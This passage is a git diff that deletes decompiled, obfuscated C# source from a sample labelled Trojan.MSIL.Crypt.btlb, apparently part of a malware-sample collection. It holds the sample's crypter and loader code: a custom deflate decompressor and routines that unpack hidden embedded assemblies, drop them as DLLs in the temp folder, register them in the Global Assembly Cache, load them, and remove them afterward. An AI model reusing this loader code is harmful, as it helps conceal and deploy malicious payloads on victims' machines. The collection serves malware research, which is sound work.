byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0002 < this.\u0003) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005); - this.\u0005 += 8; - } - this.\u0001 = obj0; - this.\u0002 = obj1; - this.\u0003 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0003.\u0003.\u0001 - 1; - private byte[] \u0003 = new byte[\u0003.\u0003.\u0001]; - private int \u0004; - private int \u0005; - - public void \u0003([In] int obj0) - { - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0005; - obj.\u0005 = num1 + 1; - if (num2 == \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0003[this.\u0004++] = (byte) obj0; - this.\u0004 &= \u0003.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0003; - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0003[obj0++]; - numArray[index] = (byte) num3; - this.\u0004 &= \u0003.\u0003.\u0002; - obj0 &= \u0003.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0005 += obj0) > \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0004 - obj1 & \u0003.\u0003.\u0002; - int num = \u0003.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0004 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0003, sourceIndex, (Array) this.\u0003, this.\u0004, obj0); - this.\u0004 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0003[this.\u0004++] = this.\u0003[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0003.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0001 - this.\u0005), obj0.\u0004()); - int num1 = \u0003.\u0003.\u0001 - this.\u0004; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0003, this.\u0004, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0003, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0003, this.\u0004, obj1); - this.\u0004 = this.\u0004 + num2 & \u0003.\u0003.\u0002; - this.\u0005 += num2; - return num2; - } - - public int \u0003() => \u0003.\u0003.\u0001 - this.\u0005; - - public int \u0004() => this.\u0005; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0004; - if (obj2 > this.\u0005) - obj2 = this.\u0005; - else - num1 = this.\u0004 - this.\u0005 + obj2 & \u0003.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0003, \u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0003, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0005 -= num2; - if (this.\u0005 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0002; - public static \u0003.\u0004 \u0003; - public static \u0003.\u0004 \u0004; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0003.\u0004.\u0003 = new \u0003.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0003.\u0004.\u0004 = new \u0003.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0003.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0003.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0003.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0002 = new short[length]; - int num4 = 512; - for (int index3 = \u0003.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0002[(int) \u0003.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0003.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0002[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0002[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0002[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0003.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0002[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0002[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0002[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0002[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0003; - private byte[] \u0004; - private \u0003.\u0004 \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private int \u000F; - private int \u0010; - private byte \u0011; - private int \u0012; - private static readonly int[] \u0013 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0003.\u0002 obj0) - { - while (true) - { - switch (this.\u0006) - { - case 0: - this.\u0007 = obj0.\u0003(5); - if (this.\u0007 >= 0) - { - this.\u0007 += 257; - obj0.\u0003(5); - this.\u0006 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0008 = obj0.\u0003(5); - if (this.\u0008 >= 0) - { - ++this.\u0008; - obj0.\u0003(5); - this.\u000F = this.\u0007 + this.\u0008; - this.\u0004 = new byte[this.\u000F]; - this.\u0006 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u000E = obj0.\u0003(4); - if (this.\u000E >= 0) - { - this.\u000E += 4; - obj0.\u0003(4); - this.\u0003 = new byte[19]; - this.\u0012 = 0; - this.\u0006 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0012 < this.\u000E; ++this.\u0012) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0003[\u0003.\u0005.\u0013[this.\u0012]] = (byte) num; - } - this.\u0005 = new \u0003.\u0004(this.\u0003); - this.\u0003 = (byte[]) null; - this.\u0012 = 0; - this.\u0006 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0005.\u0003(obj0)) & -16) == 0) - { - this.\u0004[this.\u0012++] = this.\u0011 = (byte) num1; - if (this.\u0012 == this.\u000F) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0011 = (byte) 0; - this.\u0010 = num1 - 16; - this.\u0006 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0003.\u0005.\u0002[this.\u0010]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0003.\u0005.\u0001[this.\u0010]; - while (num4-- > 0) - this.\u0004[this.\u0012++] = this.\u0011; - if (this.\u0012 != this.\u000F) - { - this.\u0006 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0003.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0007]; - Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007); - return new \u0003.\u0004(destinationArray); - } - - public \u0003.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0008]; - Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008); - return new \u0003.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u000E = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u000F = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0010 = new short[\u0003.\u0006.\u0002]; - private static byte[] \u0011 = new byte[\u0003.\u0006.\u0002]; - private static short[] \u0012; - private static byte[] \u0013; - - public static short \u0003([In] int obj0) => (short) ((int) \u0003.\u0006.\u000F[obj0 & 15] << 12 | (int) \u0003.\u0006.\u000F[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0006.\u000F[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0006.\u000F[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0003.\u0006.\u0011[index1++] = (byte) 9) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0003.\u0006.\u0011[index1++] = (byte) 7) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0003.\u0006.\u0002; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 88 << 8); - \u0003.\u0006.\u0012 = new short[\u0003.\u0006.\u0003]; - \u0003.\u0006.\u0013 = new byte[\u0003.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0003.\u0006.\u0003; ++index2) - { - \u0003.\u0006.\u0012[index2] = \u0003.\u0006.\u0003(index2 << 11); - \u0003.\u0006.\u0013[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0004.cs deleted file mode 100644 index 1a04f44a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0004.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0001; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0004 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0004.\u0001 \u0003; - internal static \u0004.\u0001 \u0004; - internal static \u0004.\u0002 \u0005; - internal static \u0004.\u0002 \u0006; - internal static \u0004.\u0003 \u0007; - internal static \u0004.\u0003 \u0008; - internal static \u0004.\u0004 \u000E; - internal static \u0004.\u0004 \u000F; - internal static \u0004.\u0005 \u0010; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0001.cs deleted file mode 100644 index 4cc50da7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0001.cs +++ /dev/null @@ -1,301 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0001; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0001 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == "w3wp.exe") - return true; - if (lower == "aspnet_wp.exe") - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0001.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0001.\u0003()) - return; - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0003.\u0003(buffer); - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(str1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0002.\u0002.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0004.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0001.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0003.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0002.\u0002.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0001.\u0001[(object) str1]; - else - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + ".dll"; - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0001.\u0003(path4, (string) null, 4); - \u0002.\u0001.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0001.\u0001) - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0002; - public string \u0003; - public string \u0004; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(", Version="); - stringBuilder.Append((object) this.\u0002); - } - stringBuilder.Append(", Culture="); - stringBuilder.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003); - stringBuilder.Append(", PublicKeyToken="); - stringBuilder.Append(this.\u0004.Length == 0 ? "null" : this.\u0004); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0002 = new Version(); - this.\u0003 = string.Empty; - this.\u0004 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith("Version=")) - this.\u0002 = new Version(str3.Substring(8)); - else if (str3.StartsWith("Culture=")) - { - this.\u0003 = str3.Substring(8); - if (this.\u0003 == "neutral") - this.\u0003 = string.Empty; - } - else if (str3.StartsWith("PublicKeyToken=")) - { - this.\u0004 = str3.Substring(15); - if (this.\u0004 == "null") - this.\u0004 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0002.cs deleted file mode 100644 index 628ebd07..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0002.cs +++ /dev/null @@ -1,174 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0002.\u0002.\u0007 ppAsmCache, uint dwReserved); - - public static bool \u0003([In] string obj0) - { - \u0002.\u0002.\u0007 ppAsmCache = (\u0002.\u0002.\u0007) null; - return \u0002.\u0002.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0002.\u0002.\u0001 \u0001; - public long \u0002; - public Guid \u0003; - public \u0002.\u0002.\u0001 \u0004; - public int \u0005; - public int \u0006; - public int \u0007; - public \u0002.\u0002.\u0001 \u0008; - public string \u000E; - public int \u000F; - public int \u0010; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0002.\u0002.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0002.\u0002.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0002.\u0002.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0002.\u0002.\u0005 pName); - - void \u0001(out \u0002.\u0002.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0002.\u0002.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0002.\u0002.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0002.\u0002.\u0005 pName); - } - - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0002.\u0002.\u0003 ppStream); - - void \u0002(\u0002.\u0002.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0002.\u0002.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0003.cs deleted file mode 100644 index 356e81b3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0003.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: 